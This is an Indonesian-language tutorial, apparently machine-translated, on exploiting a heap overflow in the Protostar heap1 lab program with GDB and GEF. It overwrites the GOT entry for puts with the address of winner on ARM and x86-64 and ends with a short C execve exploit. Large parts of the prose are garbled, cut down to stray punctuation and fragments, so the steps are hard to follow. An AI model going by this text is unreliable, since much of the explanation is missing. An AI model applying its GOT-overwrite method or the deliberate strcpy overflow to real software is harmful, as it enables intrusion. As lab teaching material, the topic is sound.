Heap overflow Linux untuk pemula

Tutorial ini untuk pemula, tetapi mengasumsikan bahwa pembaca sudah terbiasa dengan dasar-dasar fungsi  malloc  glibc. Mari kita lihat lebih dekat cara mengeksploitasi heap overflows di  Linux  menggunakan contoh Raspberry PI / ARM1176 32-bit  . Kami juga akan menganalisis beberapa nuansa operasi dalam   sistem x86-x64 . Untuk ini kami akan menggunakan alat   GDB  +  GEF .





Mari langsung ke kode rentan yang saya pinjam dari tugas lab  Protostar , yaitu  tugas ini .





#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct internet {
  int priority;
  char *name;
};

void winner()
{
  printf("and we have a winner @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  struct internet *i1, *i2, *i3;

  i1 = malloc(sizeof(struct internet));
  i1->priority = 1;
  i1->name = malloc(8);

  i2 = malloc(sizeof(struct internet));
  i2->priority = 2;
  i2->name = malloc(8);

  strcpy(i1->name, argv[1]);
  strcpy(i2->name, argv[2]);

  printf("and that's a wrap folks!\n");
}
      
      



Secara singkat tentang kode. 





  • Struktur dibuat  i1, i2, i3







  • Ketika program dimulai, dua argumen dilewatkan, yang disalin ke alamat pointer  i1->name



     dan,  i2->name



    masing-masing.  





  • Dan pada akhirnya, pesan  "dan itu bungkus orang-orang!" ...





Sebuah tugas

Panggil fungsi  winner







Keputusan

Pertama, mari kita kompilasi kode:





gcc -o heap1 heap1.c
      
      



  • Untuk memanggil suatu fungsi  winner



    , Anda perlu mengambil alamatnya dan menuliskannya ke penunjuk, yang berisi alamat fungsi tersebut  printf 







  • Untuk melakukan ini, Anda perlu meluap penunjuk  i1->name



     dan menimpa alamat dengan   i2->name



     alamat fungsi  winner







  • ,   i1->name



      i2->name.



      





, . 





.





1

. GDB 





gdb -q heap1
      
      







disas main
      
      







b *0x000105
      
      







r AAAA BBBB
      
      



:





info proc map
      
      







x/120x 0x22000
      
      



(chunk). .





2

.





heap chunks
      
      



0x22160



,





heap chunk 0x22160
      
      



  • 16





  • 12  





  • 4





32 . 12 20 , . ( 64 32 + 24 + 8 = 64 , 40 )





24 (20 4 ):





./heap1 $(python3 -c 'print("A"*24+" "+"BBBB")')
      
      



 Segmentation fault. , . 





gdb ./heap1
disas main
      
      



 strcopy



,  0x000105e8









b *0x105e8
      
      







r $(python3 -c 'print("A"*24+" "+"BBBB")')
      
      



, :





 winner



, ,  printf



 (  puts



). 





x/i 0x103a0
      
      



 puts 



 GOT.  GEF  got



.   GOT . 





got
      
      



, ,  0x21018



.  winner



.





 winner



.





p winner
      
      



 0x10504



.





.  i2->name



  :





r $(python3 -c 'print("A"*20+"\x18\x10\x02\x00"+" "+"\x04\x05\x01\x00")'
      
      



,  0x21018



   0x10504 <winner>



, .  nexti 



,   0x21018







 0x10504 <winner>



. :





./heap1 $(python3 -c 'print("A"*20+"\x18\x10\x02\x00"+" "+"\x04\x05\x01\x00")')
      
      



,  bash  , , - (ignored null byte in input), , ,  winner



. .





 Linux   x86-x64.    GDB 10.1.90   ARM1176, Raspberry  GDB 8.2.1. , puts



,    .plt





disas main
      
      



:





x/i 0x555555555040
      
      



.  , .





 winner







p winner
      
      



 puts 0x555555558020 



,  x20,    ,  , ,  bash  . . ,  "$(...)"



, :





./heap1 "$(python -c 'print("A"*40+"\x20\x80\x55\x55\x55\x55"+" "+"\x75\x51\x55\x55\x55\x55")')"
      
      



. , , 8 -, .. 





\x20\x80\x55\x55\x55\x55\x00\x00





\x75\x51\x55\x55\x55\x55\x00\x00





Tetapi di sini, juga, masalah muncul, karena shell perintah memperlakukan byte null sebagai akhir baris dan exploit tidak akan berfungsi, karena alamat diterima salah.





Untuk mengatasi masalah ini, Anda dapat menggunakan fungsi  execve  dari bahasa C. 





Kami menulis eksploitasi:





#include <stdio.h>
#include <unistd.h>
int main(void) 
{
  char* const argv[] = {"", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x20\x80\x55\x55\x55\x55\x00\x00", "\x75\x51\x55\x55\x55\x55\x00\x00", 0 };
  if (execve("./heap1", argv, NULL) == -1)
    perror("Could not execve");
  return 1;
}
      
      



Saya pikir semuanya jelas dalam kode.





Kompilasi dan jalankan





gcc ./exploit.c -o exploit
gdb -q ./exploit
      
      



Sekarang eksploit berfungsi sebagaimana mestinya:





Itu saja. Terima kasih atas perhatiannya.








All Articles